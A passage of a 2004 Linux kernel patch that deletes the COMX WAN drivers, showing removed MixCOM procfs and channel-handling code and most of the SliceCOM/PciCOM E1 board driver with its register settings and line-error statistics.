!(COMX_CHANNEL(TWIN(dev))->init_status & HW_OPEN)) { - if(COMX_CHANNEL(TWIN(dev))->init_status & IRQ_ALLOCATED) { - mixcom_board_off(TWIN(dev)); - free_irq(TWIN(dev)->irq, TWIN(dev)); - release_region(TWIN(dev)->base_addr, MIXCOM_IO_EXTENT); - COMX_CHANNEL(TWIN(dev))->init_status &= ~IRQ_ALLOCATED; - } - } - - /* the ioports for channel 1 can be safely released */ - if(hw->channel==1) { - release_region(dev->base_addr, MIXCOM_IO_EXTENT); - } - - restore_flags(flags); - - /* If we don't hold any hardware open */ - if(!(ch->init_status & IRQ_ALLOCATED)) { - for (; procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IO) == 0 || - strcmp(procfile->name, FILENAME_CHANNEL) == 0 || - strcmp(procfile->name, FILENAME_CLOCK) == 0 || - strcmp(procfile->name, FILENAME_IRQ) == 0) { - procfile->mode = S_IFREG | 0644; - } - } - } - - /* channel 0 was only waiting for us to close channel 1 - close it completely */ - - if(hw->channel==1 && !(COMX_CHANNEL(TWIN(dev))->init_status & HW_OPEN)) { - for (procfile=COMX_CHANNEL(TWIN(dev))->procdir->subdir; - procfile ; procfile = procfile->next) { - if (strcmp(procfile->name, FILENAME_IO) == 0 || - strcmp(procfile->name, FILENAME_CHANNEL) == 0 || - strcmp(procfile->name, FILENAME_CLOCK) == 0 || - strcmp(procfile->name, FILENAME_IRQ) == 0) { - procfile->mode = S_IFREG | 0644; - } - } - } - - ch->init_status &= ~HW_OPEN; - return 0; -} - -static int MIXCOM_statistics(struct net_device *dev,char *page) -{ - struct comx_channel *ch = dev->priv; - // struct mixcom_privdata *hw = ch->HW_privdata; - int len = 0; - - if(ch->init_status && IRQ_ALLOCATED) { - len += sprintf(page + len, "Mixcom board: hardware open\n"); - } - - return len; -} - -static int MIXCOM_dump(struct net_device *dev) { - return 0; -} - -static int mixcom_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - int len = 0; - - if (strcmp(file->name, FILENAME_IO) == 0) { - len = sprintf(page, "0x%x\n", - (unsigned int)MIXCOM_BOARD_BASE(dev)); - } else if (strcmp(file->name, FILENAME_IRQ) == 0) { - len = sprintf(page, "%d\n", (unsigned int)dev->irq); - } else if (strcmp(file->name, FILENAME_CLOCK) == 0) { - if (hw->clock) len = sprintf(page, "%d\n", hw->clock); - else len = sprintf(page, "external\n"); - } else if (strcmp(file->name, FILENAME_CHANNEL) == 0) { - len = sprintf(page, "%01d\n", hw->channel); - } else if (strcmp(file->name, FILENAME_TWIN) == 0) { - if (ch->twin) { - len = sprintf(page, "%s\n",ch->twin->name); - } else { - len = sprintf(page, "none\n"); - } - } else { - printk(KERN_ERR "mixcom_read_proc: internal error, filename %s\n", file->name); - return -EBADF; - } - - if (off >= len) { - *eof = 1; - return 0; - } - *start = page + off; - if (count >= len - off) *eof = 1; - return min_t(int, count, len - off); -} - - -static struct net_device *mixcom_twin_check(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *procfile = ch->procdir->parent->subdir; - struct mixcom_privdata *hw = ch->HW_privdata; - - struct net_device *twin; - struct comx_channel *ch_twin; - struct mixcom_privdata *hw_twin; - - - for ( ; procfile ; procfile = procfile->next) { - if(!S_ISDIR(procfile->mode)) continue; - - twin = procfile->data; - ch_twin = twin->priv; - hw_twin = ch_twin->HW_privdata; - - - if (twin != dev && dev->irq && dev->base_addr && - dev->irq == twin->irq && - ch->hardware == ch_twin->hardware && - dev->base_addr == twin->base_addr + - (1-2*hw->channel)*MIXCOM_CHANNEL_OFFSET && - hw->channel == (1 - hw_twin->channel)) { - if (!TWIN(twin) || TWIN(twin)==dev) { - return twin; - } - } - } - return NULL; -} - - -static void setup_twin(struct net_device* dev) -{ - - if(TWIN(dev) && TWIN(TWIN(dev))) { - TWIN(TWIN(dev))=NULL; - } - if ((TWIN(dev) = mixcom_twin_check(dev)) != NULL) { - if (TWIN(TWIN(dev)) && TWIN(TWIN(dev)) != dev) { - TWIN(dev)=NULL; - } else { - TWIN(TWIN(dev))=dev; - } - } -} - -static int mixcom_write_proc(struct file *file, const char *buffer, - u_long count, void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = (struct net_device *)entry->parent->data; - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - char *page; - int value; - - if (!(page = (char *)__get_free_page(GFP_KERNEL))) { - return -ENOMEM; - } - - if (copy_from_user(page, buffer, count = min_t(unsigned long, count, PAGE_SIZE))) { - free_page((unsigned long)page); - return -EFAULT; - } - if (*(page + count - 1) == '\n') { - *(page + count - 1) = 0; - } - - if (strcmp(entry->name, FILENAME_IO) == 0) { - value = simple_strtoul(page, NULL, 0); - if (value != 0x180 && value != 0x280 && value != 0x380) { - printk(KERN_ERR "MIXCOM: incorrect io address!\n"); - } else { - dev->base_addr = MIXCOM_DEV_BASE(value,hw->channel); - } - } else if (strcmp(entry->name, FILENAME_IRQ) == 0) { - value = simple_strtoul(page, NULL, 0); - if (value < 0 || value > 15 || mixcom_set_irq[value]==0xFF) { - printk(KERN_ERR "MIXCOM: incorrect irq value!\n"); - } else { - dev->irq = value; - } - } else if (strcmp(entry->name, FILENAME_CLOCK) == 0) { - if (strncmp("ext", page, 3) == 0) { - hw->clock = 0; - } else { - int kbps; - - kbps = simple_strtoul(page, NULL, 0); - if (!kbps) { - hw->clock = 0; - } else { - hw->clock = kbps; - } - if (hw->clock < 32 || hw->clock > 2000) { - hw->clock = 0; - printk(KERN_ERR "MIXCOM: invalid clock rate!\n"); - } - } - if (ch->init_status & HW_OPEN && ch->HW_set_clock) { - ch->HW_set_clock(dev); - } - } else if (strcmp(entry->name, FILENAME_CHANNEL) == 0) { - value = simple_strtoul(page, NULL, 0); - if (value > 2) { - printk(KERN_ERR "Invalid channel number\n"); - } else { - dev->base_addr+=(hw->channel - value) * MIXCOM_CHANNEL_OFFSET; - hw->channel = value; - } - } else { - printk(KERN_ERR "hw_read_proc: internal error, filename %s\n", - entry->name); - return -EBADF; - } - - setup_twin(dev); - - free_page((unsigned long)page); - return count; -} - -static int MIXCOM_init(struct net_device *dev) { - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw; - struct proc_dir_entry *new_file; - - if ((ch->HW_privdata = kmalloc(sizeof(struct mixcom_privdata), - GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - - memset(hw = ch->HW_privdata, 0, sizeof(struct mixcom_privdata)); - - if ((new_file = create_proc_entry(FILENAME_IO, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_HW_privdata; - } - new_file->data = (void *)new_file; - new_file->read_proc = &mixcom_read_proc; - new_file->write_proc = &mixcom_write_proc; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_IRQ, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_io; - } - new_file->data = (void *)new_file; - new_file->read_proc = &mixcom_read_proc; - new_file->write_proc = &mixcom_write_proc; - new_file->nlink = 1; - -#if 0 - if ((new_file = create_proc_entry(FILENAME_CLOCK, S_IFREG | 0644, - ch->procdir)) == NULL) { - return -EIO; - } - new_file->data = (void *)new_file; - new_file->read_proc = &mixcom_read_proc; - new_file->write_proc = &mixcom_write_proc; - new_file->nlink = 1; -#endif - - if ((new_file = create_proc_entry(FILENAME_CHANNEL, S_IFREG | 0644, - ch->procdir)) == NULL) { - goto cleanup_filename_irq; - } - new_file->data = (void *)new_file; - new_file->read_proc = &mixcom_read_proc; - new_file->write_proc = &mixcom_write_proc; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_TWIN, S_IFREG | 0444, - ch->procdir)) == NULL) { - goto cleanup_filename_channel; - } - new_file->data = (void *)new_file; - new_file->read_proc = &mixcom_read_proc; - new_file->write_proc = &mixcom_write_proc; - new_file->nlink = 1; - - setup_twin(dev); - - /* Fill in ch_struct hw specific pointers */ - ch->HW_access_board = NULL; - ch->HW_release_board = NULL; - ch->HW_txe = MIXCOM_txe; - ch->HW_open = MIXCOM_open; - ch->HW_close = MIXCOM_close; - ch->HW_send_packet = MIXCOM_send_packet; - ch->HW_statistics = MIXCOM_statistics; - ch->HW_set_clock = NULL; - - dev->base_addr = MIXCOM_DEV_BASE(MIXCOM_DEFAULT_IO,0); - dev->irq = MIXCOM_DEFAULT_IRQ; - - MOD_INC_USE_COUNT; - return 0; -cleanup_filename_channel: - remove_proc_entry(FILENAME_CHANNEL, ch->procdir); -cleanup_filename_irq: - remove_proc_entry(FILENAME_IRQ, ch->procdir); -cleanup_filename_io: - remove_proc_entry(FILENAME_IO, ch->procdir); -cleanup_HW_privdata: - kfree(ch->HW_privdata); - return -EIO; -} - -static int MIXCOM_exit(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct mixcom_privdata *hw = ch->HW_privdata; - - if(hw->channel==0 && TWIN(dev)) { - return -EBUSY; - } - - if(hw->channel==1 && TWIN(dev)) { - TWIN(TWIN(dev))=NULL; - } - - kfree(ch->HW_privdata); - remove_proc_entry(FILENAME_IO, ch->procdir); - remove_proc_entry(FILENAME_IRQ, ch->procdir); -#if 0 - remove_proc_entry(FILENAME_CLOCK, ch->procdir); -#endif - remove_proc_entry(FILENAME_CHANNEL, ch->procdir); - remove_proc_entry(FILENAME_TWIN, ch->procdir); - - MOD_DEC_USE_COUNT; - return 0; -} - -static struct comx_hardware mixcomhw = { - "mixcom", - VERSION, - MIXCOM_init, - MIXCOM_exit, - MIXCOM_dump, - NULL -}; - -static int __init comx_hw_mixcom_init(void) -{ - return comx_register_hardware(&mixcomhw); -} - -static void __exit comx_hw_mixcom_exit(void) -{ - comx_unregister_hardware("mixcom"); -} - -module_init(comx_hw_mixcom_init); -module_exit(comx_hw_mixcom_exit); ===== drivers/net/wan/comx-hw-munich.c 1.17 vs edited ===== --- 1.17/drivers/net/wan/comx-hw-munich.c Wed Mar 3 18:32:01 2004 +++ edited/drivers/net/wan/comx-hw-munich.c Fri May 7 13:05:52 2004 @@ -1,2854 +1 @@ -/* - * Hardware-level driver for the SliceCOM board for Linux kernels 2.4.X - * - * Current maintainer / latest changes: Pasztor Szilard - * - * Original author: Bartok Istvan - * Based on skeleton by Tivadar Szemethy - * - * 0.51: - * - port for 2.4.x - * - clean up some code, make it more portable - * - busted direct hardware access through mapped memory - * - fix a possible race - * - prevent procfs buffer overflow - * - * 0.50: - * - support for the pcicom board, lots of rearrangements - * - handle modem status lines - * - * 0.50a: - * - fix for falc version 1.0 - * - * 0.50b: T&t - * - fix for bad localbus - */ -#define VERSION "0.51" -#define VERSIONSTR "SliceCOM v" VERSION ", 2002/01/07\n" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -#define COMX_NEW - -#ifndef COMX_NEW -#include "../include/comx.h" -#include "../include/munich32x.h" -#include "../include/falc-lh.h" -#else -#include "comx.h" -#include "munich32x.h" -#include "falc-lh.h" -#endif - -MODULE_AUTHOR("Bartok Istvan , Gergely Madarasz , Szilard Pasztor "); -MODULE_DESCRIPTION("Hardware-level driver for the SliceCOM and PciCOM (WelCOM) adapters"); -MODULE_LICENSE("GPL"); -/* - * TODO: az ilyenek a comxhw.h -ban szoktak lenni, idovel menjenek majd oda: - */ - -#define FILENAME_BOARDNUM "boardnum" /* /proc/comx/comx0.1/boardnum */ -#define FILENAME_TIMESLOTS "timeslots" /* /proc/comx/comx0.1/timeslots */ -#define FILENAME_FRAMING "framing" /* /proc/comx/comx0.1/framing */ -#define FILENAME_LINECODE "linecode" /* /proc/comx/comx0.1/linecode */ -#define FILENAME_CLOCK_SOURCE "clock_source" /* /proc/comx/comx0.1/clock_source */ -#define FILENAME_LOOPBACK "loopback" /* /proc/comx/comx0.1/loopback */ -#define FILENAME_REG "reg" /* /proc/comx/comx0.1/reg */ -#define FILENAME_LBIREG "lbireg" /* /proc/comx/comx0.1/lbireg */ - -#define SLICECOM_BOARDNUM_DEFAULT 0 - -#define SLICECOM_FRAMING_CRC4 1 -#define SLICECOM_FRAMING_NO_CRC4 2 -#define SLICECOM_FRAMING_DEFAULT SLICECOM_FRAMING_CRC4 - -#define SLICECOM_LINECODE_HDB3 1 -#define SLICECOM_LINECODE_AMI 2 -#define SLICECOM_LINECODE_DEFAULT SLICECOM_LINECODE_HDB3 - -#define SLICECOM_CLOCK_SOURCE_LINE 1 -#define SLICECOM_CLOCK_SOURCE_INTERNAL 2 -#define SLICECOM_CLOCK_SOURCE_DEFAULT SLICECOM_CLOCK_SOURCE_LINE - -#define SLICECOM_LOOPBACK_NONE 1 -#define SLICECOM_LOOPBACK_LOCAL 2 -#define SLICECOM_LOOPBACK_REMOTE 3 -#define SLICECOM_LOOPBACK_DEFAULT SLICECOM_LOOPBACK_NONE - -#define MUNICH_VIRT(addr) (void *)(&bar1[addr]) - -struct slicecom_stringtable -{ - char *name; - int value; -}; - -/* A convention: keep "default" the last not NULL when reading from /proc, - "error" is an indication that something went wrong, we have an undefined value */ - -struct slicecom_stringtable slicecom_framings[] = -{ - {"crc4", SLICECOM_FRAMING_CRC4}, - {"no-crc4", SLICECOM_FRAMING_NO_CRC4}, - {"default", SLICECOM_FRAMING_DEFAULT}, - {"error", 0} -}; - -struct slicecom_stringtable slicecom_linecodes[] = -{ - {"hdb3", SLICECOM_LINECODE_HDB3}, - {"ami", SLICECOM_LINECODE_AMI}, - {"default", SLICECOM_LINECODE_DEFAULT}, - {"error", 0} -}; - -struct slicecom_stringtable slicecom_clock_sources[] = -{ - {"line", SLICECOM_CLOCK_SOURCE_LINE}, - {"internal", SLICECOM_CLOCK_SOURCE_INTERNAL}, - {"default", SLICECOM_CLOCK_SOURCE_DEFAULT}, - {"error", 0} -}; - -struct slicecom_stringtable slicecom_loopbacks[] = -{ - {"none", SLICECOM_LOOPBACK_NONE}, - {"local", SLICECOM_LOOPBACK_LOCAL}, - {"remote", SLICECOM_LOOPBACK_REMOTE}, - {"default", SLICECOM_LOOPBACK_DEFAULT}, - {"error", 0} -}; - -/* - * Some tunable values... - * - * Note: when tuning values which change the length of text in - * /proc/comx/comx[n]/status, keep in mind that it must be shorter then - * PAGESIZE ! - */ - -#define MAX_BOARDS 4 /* ezzel 4 kartya lehet a gepben: 0..3 */ -#define RX_DESC_MAX 8 /* Rx ring size, must be >= 4 */ -#define TX_DESC_MAX 4 /* Tx ring size, must be >= 2 */ - /* a sokkal hosszabb Tx ring mar ronthatja a nem-FIFO packet */ - /* schedulerek (fair queueing, stb.) hatekonysagat. */ -#define MAX_WORK 10 /* TOD: update the info max. ennyi-1 esemenyt dolgoz fel egy interrupt hivasnal */ - -/* - * These are tunable too, but don't touch them without fully understanding what is happening - */ - -#define UDELAY 20 /* We wait UDELAY usecs with disabled interrupts before and */ - /* after each command to avoid writing into each other's */ - /* ccb->action_spec. A _send_packet nem var, mert azt az */ - /* _interrupt()-bol is meghivhatja a LINE_tx() */ - -/* - * Just to avoid warnings about implicit declarations: - */ - -static int MUNICH_close(struct net_device *dev); -static struct comx_hardware slicecomhw; -static struct comx_hardware pcicomhw; - -static unsigned long flags; -static spinlock_t mister_lock = SPIN_LOCK_UNLOCKED; - -typedef volatile struct /* Time Slot Assignment */ -{ - u32 rxfillmask:8, // ----------------------------+------+ - // | | - rxchannel:5, // ----------------------+---+ | | - rti:1, // ---------------------+| | | | - res2:2, // -------------------++|| | | | - // |||| | | | - txfillmask:8, // ----------+------+ |||| | | | - // | | |||| | | | - txchannel:5, // ----+---+ | | |||| | | | - tti:1, // ---+| | | | |||| | | | - res1:2; // -++|| | | | |||| | | | - // 3 2 1 - // 10987654 32109876 54321098 76543210 -} timeslot_spec_t; - -typedef volatile struct /* Receive Descriptor */ -{ - u32 zero1:16, no:13, hi:1, hold:1, zero2:1; - - u32 next; - u32 data; - - u32 zero3:8, status:8, bno:13, zero4:1, c:1, fe:1; -} rx_desc_t; - -typedef volatile struct /* Transmit Descriptor */ -{ - u32 fnum:11, csm:1, no13:1, zero1:2, v110:1, no:13, hi:1, hold:1, fe:1; - - u32 next; - u32 data; - -} tx_desc_t; - -typedef volatile struct /* Channel Specification */ -{ - u32 iftf:1, mode:2, fa:1, trv:2, crc:1, inv:1, cs:1, tflag:7, ra:1, ro:1, - th:1, ta:1, to:1, ti:1, ri:1, nitbs:1, fit:1, fir:1, re:1, te:1, ch:1, - ifc:1, sfe:1, fe2:1; - - u32 frda; - u32 ftda; - - u32 itbs:6, zero1:26; - -} channel_spec_t; - -typedef volatile struct /* Configuration Control Block */ -{ - u32 action_spec; - u32 reserved1; - u32 reserved2; - timeslot_spec_t timeslot_spec[32]; - channel_spec_t channel_spec[32]; - u32 current_rx_desc[32]; - u32 current_tx_desc[32]; - u32 csa; /* Control Start Address. CSA = *CCBA; CCB = *CSA */ - /* MUNICH does it like: CCB = *( *CCBA ) */ -} munich_ccb_t; - -typedef volatile struct /* Entry in the interrupt queue */ -{ - u32 all; -} munich_intq_t; - -#define MUNICH_INTQLEN 63 /* Rx/Tx Interrupt Queue Length - (not the real len, but the TIQL/RIQL value) */ -#define MUNICH_INTQMAX ( 16*(MUNICH_INTQLEN+1) ) /* Rx/Tx/Periph Interrupt Queue size in munich_intq_t's */ -#define MUNICH_INTQSIZE ( 4*MUNICH_INTQMAX ) /* Rx/Tx/Periph Interrupt Queue size in bytes */ - -#define MUNICH_PIQLEN 4 /* Peripheral Interrupt Queue Length. Unlike the RIQL/TIQL, */ -#define MUNICH_PIQMAX ( 4*MUNICH_PIQLEN ) /* PIQL register needs it like this */ -#define MUNICH_PIQSIZE ( 4*MUNICH_PIQMAX ) - -typedef volatile u32 vol_u32; /* TOD: ezek megszunnek ha atirom readw()/writew()-re - kész */ -typedef volatile u8 vol_u8; - -typedef volatile struct /* counters of E1-errors and errored seconds, see rfc2495 */ -{ - /* use here only unsigned ints, we depend on it when calculating the sum for the last N intervals */ - - unsigned line_code_violations, /* AMI: bipolar violations, HDB3: hdb3 violations */ - path_code_violations, /* FAS errors and CRC4 errors */ - e_bit_errors, /* E-Bit Errors (the remote side received from us with CRC4-error) */ - slip_secs, /* number of seconds with (receive) Controlled Slip(s) */ - fr_loss_secs, /* number of seconds an Out Of Frame defect was detected */ - line_err_secs, /* number of seconds with one or more Line Code Violations */ - degraded_mins, /* Degraded Minute - the estimated error rate is >1E-6, but <1E-3 */ - errored_secs, /* Errored Second - at least one of these happened: - - Path Code Violation - - Out Of Frame defect - - Slip - - receiving AIS - - not incremented during an Unavailable Second */ - bursty_err_secs, /* Bursty Errored Second: (rfc2495 says it does not apply to E1) - - Path Code Violations >1, but <320 - - not a Severely Errored Second - - no AIS - - not incremented during an Unavailabla Second */ - severely_err_secs, /* Severely Errored Second: - - CRC4: >=832 Path COde Violations || >0 Out Of Frame defects - - noCRC4: >=2048 Line Code Violations - - not incremented during an Unavailable Second */ - unavail_secs; /* number of Unavailable Seconds. Unavailable state is said after: - - 10 contiguous Severely Errored Seconds - - or RAI || AIS || LOF || LOS - - (any) loopback has been set */ - - /* - * we do not strictly comply to the rfc: we do not retroactively reduce errored_secs, - * bursty_err_secs, severely_err_secs when 'unavailable state' is reached - */ - -} e1_stats_t; - -typedef volatile struct /* ezek board-adatok, nem lehetnek a slicecom_privdata -ban */ -{ - int use_count; /* num. of interfaces using the board */ - int irq; /* a kartya irq-ja. belemasoljuk a dev->irq -kba is, de csak hogy */ - /* szebb legyen az ifconfig outputja */ - /* ha != 0, az azt jelenti hogy az az irq most nekunk sikeresen */ - /* le van foglalva */ - struct pci_dev *pci; /* a kartya PCI strukturaja. NULL, ha nincs kartya */ - u32 *bar1; /* pci->base_address[0] ioremap()-ed by munich_probe(), */ - /* on x86 can be used both as a bus or virtual address. */ - /* These are the Munich's registers */ - u8 *lbi; /* pci->base_address[1] ioremap()-ed by munich_probe(), */ - /* this is a 256-byte range, the start of the LBI on the board */ - munich_ccb_t *ccb; /* virtual address of CCB */ - munich_intq_t *tiq; /* Tx Interrupt Queue */ - munich_intq_t *riq; /* Rx Interrupt Queue */ - munich_intq_t *piq; /* Peripheral Interrupt Queue (FALC interrupts arrive here) */ - int tiq_ptr, /* A 'current' helyek a tiq/riq/piq -ban. */ - riq_ptr, /* amikor feldolgoztam az interruptokat, a legelso ures */ - piq_ptr; /* interrupt_information szora mutatnak. */ - struct net_device *twins[32]; /* MUNICH channel -> network interface assignment */ - - unsigned long lastcheck; /* When were the Rx rings last checked. Time in jiffies */ - - struct timer_list modemline_timer; - char isx21; - char lineup; - char framing; /* a beallitasok tarolasa */ - char linecode; - char clock_source; - char loopback; - - char devname[30]; /* what to show in /proc/interrupts */ - unsigned histogram[MAX_WORK]; /* number of processed events in the interrupt loop */ - unsigned stat_pri_races; /* number of special events, we try to handle them */ - unsigned stat_pti_races; - unsigned stat_pri_races_missed; /* when it can not be handled, because of MAX_WORK */ - unsigned stat_pti_races_missed; - -#define SLICECOM_BOARD_INTERVALS_SIZE 97 - e1_stats_t intervals[SLICECOM_BOARD_INTERVALS_SIZE]; /* E1 line statistics */ - unsigned current_interval; /* pointer to the current interval */ - unsigned elapsed_seconds; /* elapsed seconds from the start of the current interval */ - unsigned ses_seconds; /* counter of contiguous Severely Errored Seconds */ - unsigned is_unavailable; /* set to 1 after 10 contiguous Severely Errored Seconds */ - unsigned no_ses_seconds; /* contiguous Severely Error -free seconds in unavail state */ - - unsigned deg_elapsed_seconds; /* for counting the 'Degraded Mins' */ - unsigned deg_cumulated_errors; - - struct module *owner; /* pointer to our module to avoid module load races */ -} munich_board_t; - -struct slicecom_privdata -{ - int busy; /* transmitter busy - number of packets in the Tx ring */ - int channel; /* Munich logical channel ('channel-group' in Cisco) */ - unsigned boardnum; - u32 timeslots; /* i-th bit means i-th timeslot is our */ - - int tx_ring_hist[TX_DESC_MAX]; /* histogram: number of packets in Tx ring when _send_packet is called */ - - tx_desc_t tx_desc[TX_DESC_MAX]; /* the ring of Tx descriptors */ - u8 tx_data[TX_DESC_MAX][TXBUFFER_SIZE]; /* buffers for data to transmit */ - int tx_desc_ptr; /* hanyadik descriptornal tartunk a beirassal */ - /* ahol ez all, oda irtunk utoljara */ - - rx_desc_t rx_desc[RX_DESC_MAX]; /* the ring of Rx descriptors */ - u8 rx_data[RX_DESC_MAX][RXBUFFER_SIZE]; /* buffers for received data */ - int rx_desc_ptr; /* hanyadik descriptornal tartunk az olvasassal */ - - int rafutott; -}; - -static u32 reg, reg_ertek; /* why static: don't write stack trash into regs if strtoul() fails */ -static u32 lbireg; -static u8 lbireg_ertek; /* why static: don't write stack trash into regs if strtoul() fails */ - -static munich_board_t slicecom_boards[MAX_BOARDS]; -static munich_board_t pcicom_boards[MAX_BOARDS]; - -/* - * Reprogram Idle Channel Registers in the FALC - send special code in not used channels - * Should be called from the open and close, when the timeslot assignment changes - */ - -void rework_idle_channels(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - munich_board_t *board = slicecom_boards + hw->boardnum; - munich_ccb_t *ccb = board->ccb; - - u8 *lbi = board->lbi; - int i, j, tmp; - - - spin_lock_irqsave(&mister_lock, flags); - - for (i = 0; i < 4; i++) - { - tmp = 0xFF; - for (j = 0; j < 8; j++) - if (ccb->timeslot_spec[8 * i + j].tti == 0) tmp ^= (0x80 >> j); - writeb(tmp, lbi + 0x30 + i); - } - - spin_unlock_irqrestore(&mister_lock, flags); -} - -/* - * Set PCM framing - /proc/comx/comx0/framing - */ - -void slicecom_set_framing(int boardnum, int value) -{ - u8 *lbi = slicecom_boards[boardnum].lbi; - - spin_lock_irqsave(&mister_lock, flags); - - slicecom_boards[boardnum].framing = value; - switch (value) - { - case SLICECOM_FRAMING_CRC4: - writeb(readb(lbi + FMR1) | 8, lbi + FMR1); - writeb((readb(lbi + FMR2) & 0x3f) | 0x80, lbi + FMR2); - break; - case SLICECOM_FRAMING_NO_CRC4: - writeb(readb(lbi + FMR1) & 0xf7, lbi + FMR1); - writeb(readb(lbi + FMR2) & 0x3f, lbi + FMR2); - break; - default: - printk("slicecom: board %d: unhandled " FILENAME_FRAMING - " value %d\n", boardnum, value); - } - - spin_unlock_irqrestore(&mister_lock, flags); -} - -/* - * Set PCM linecode - /proc/comx/comx0/linecode - */ - -void slicecom_set_linecode(int boardnum, int value) -{ - u8 *lbi = slicecom_boards[boardnum].lbi; - - spin_lock_irqsave(&mister_lock, flags); - - slicecom_boards[boardnum].linecode = value; - switch (value) - { - case SLICECOM_LINECODE_HDB3: - writeb(readb(lbi + FMR0) | 0xf0, lbi + FMR0); - break; - case SLICECOM_LINECODE_AMI: - writeb((readb(lbi + FMR0) & 0x0f) | 0xa0, lbi + FMR0); - break; - default: - printk("slicecom: board %d: unhandled " FILENAME_LINECODE - " value %d\n", boardnum, value); - } - spin_unlock_irqrestore(&mister_lock, flags); -} - -/* - * Set PCM clock source - /proc/comx/comx0/clock_source - */ - -void slicecom_set_clock_source(int boardnum, int value) -{ - u8 *lbi = slicecom_boards[boardnum].lbi; - - spin_lock_irqsave(&mister_lock, flags); - - slicecom_boards[boardnum].clock_source = value; - switch (value) - { - case SLICECOM_CLOCK_SOURCE_LINE: - writeb(readb(lbi + LIM0) & ~1, lbi + LIM0); - break; - case SLICECOM_CLOCK_SOURCE_INTERNAL: - writeb(readb(lbi + LIM0) | 1, lbi + LIM0); - break; - default: - printk("slicecom: board %d: unhandled " FILENAME_CLOCK_SOURCE - " value %d\n", boardnum, value); - } - spin_unlock_irqrestore(&mister_lock, flags); -} - -/* - * Set loopbacks - /proc/comx/comx0/loopback - */ - -void slicecom_set_loopback(int boardnum, int value) -{ - u8 *lbi = slicecom_boards[boardnum].lbi; - - spin_lock_irqsave(&mister_lock, flags); - - slicecom_boards[boardnum].loopback = value; - switch (value) - { - case SLICECOM_LOOPBACK_NONE: - writeb(readb(lbi + LIM0) & ~2, lbi + LIM0); /* Local Loop OFF */ - writeb(readb(lbi + LIM1) & ~2, lbi + LIM1); /* Remote Loop OFF */ - break; - case SLICECOM_LOOPBACK_LOCAL: - writeb(readb(lbi + LIM1) & ~2, lbi + LIM1); /* Remote Loop OFF */ - writeb(readb(lbi + LIM0) | 2, lbi + LIM0); /* Local Loop ON */ - break; - case SLICECOM_LOOPBACK_REMOTE: - writeb(readb(lbi + LIM0) & ~2, lbi + LIM0); /* Local Loop OFF */ - writeb(readb(lbi + LIM1) | 2, lbi + LIM1); /* Remote Loop ON */ - break; - default: - printk("slicecom: board %d: unhandled " FILENAME_LOOPBACK - " value %d\n", boardnum, value); - } - spin_unlock_irqrestore(&mister_lock, flags); -} - -/* - * Update E1 line status LEDs on the adapter - */ - -void slicecom_update_leds(munich_board_t * board) -{ - u32 *bar1 = board->bar1; - u8 *lbi = board->lbi; - u8 frs0; - u32 leds; - int i; - - spin_lock_irqsave(&mister_lock, flags); - - leds = 0; - frs0 = readb(lbi + FRS0); /* FRS0 bits described on page 137 */ - - if (!(frs0 & 0xa0)) - { - leds |= 0x2000; /* Green LED: Input signal seems to be OK, no LOS, no LFA */ - if (frs0 & 0x10) - leds |= 0x8000; /* Red LED: Receiving Remote Alarm */ - } - writel(leds, MUNICH_VIRT(GPDATA)); - - if (leds == 0x2000 && !board->lineup) - { /* line up */ - board->lineup = 1; - for (i = 0; i < 32; i++) - { - if (board->twins[i] && (board->twins[i]->flags & IFF_RUNNING)) - { - struct comx_channel *ch = board->twins[i]->priv; - - if (!test_and_set_bit(0, &ch->lineup_pending)) - { - ch->lineup_timer.function = comx_lineup_func; - ch->lineup_timer.data = (unsigned long)board->twins[i]; - ch->lineup_timer.expires = jiffies + HZ * ch->lineup_delay; - add_timer(&ch->lineup_timer); - } - } - } - } - else if (leds != 0x2000 && board->lineup) - { /* line down */ - board->lineup = 0; - for (i = 0; i < 32; i++) - if (board->twins[i] && (board->twins[i]->flags & IFF_RUNNING)) - { - struct comx_channel *ch = board->twins[i]->priv; - - if (test_and_clear_bit(0, &ch->lineup_pending)) - del_timer(&ch->lineup_timer); - else if (ch->line_status & LINE_UP) - { - ch->line_status &= ~LINE_UP; - if (ch->LINE_status) - ch->LINE_status(board->twins[i], ch->line_status); - } - } - } - spin_unlock_irqrestore(&mister_lock, flags); -} - -/* - * This function gets called every second when the FALC issues the interrupt. - * Hardware counters contain error counts for last 1-second time interval. - * We add them to the global counters here. - * Read rfc2495 to understand this. - */ - -void slicecom_update_line_counters(munich_board_t * board) -{ - e1_stats_t *curr_int = &board->intervals[board->current_interval]; - - u8 *lbi = board->lbi; - - unsigned framing_errors, code_violations, path_code_violations, crc4_errors, - e_bit_errors; - unsigned slip_detected, /* this one has logical value, not the number of slips! */ - out_of_frame_defect, /* logical value */ - ais_defect, /* logical value */ - errored_sec, bursty_err_sec, severely_err_sec = 0, failure_sec; - u8 isr2, isr3, isr5, frs0; - - spin_lock_irqsave(&mister_lock, flags); - - isr2 = readb(lbi + ISR2); /* ISR0-5 described on page 156 */ - isr3 = readb(lbi + ISR3); - isr5 = readb(lbi + ISR5); - frs0 = readb(lbi + FRS0); /* FRS0 described on page 137 */ - - /* Error Events: */ - - code_violations = readb(lbi + CVCL) + (readb(lbi + CVCH) << 8); - framing_errors = readb(lbi + FECL) + (readb(lbi + FECH) << 8); - crc4_errors = readb(lbi + CEC1L) + (readb(lbi + CEC1H) << 8); - e_bit_errors = readb(lbi + EBCL) + (readb(lbi + EBCH) << 8); - slip_detected = isr3 & (ISR3_RSN | ISR3_RSP); - - path_code_violations = framing_errors + crc4_errors; - - curr_int->line_code_violations += code_violations; 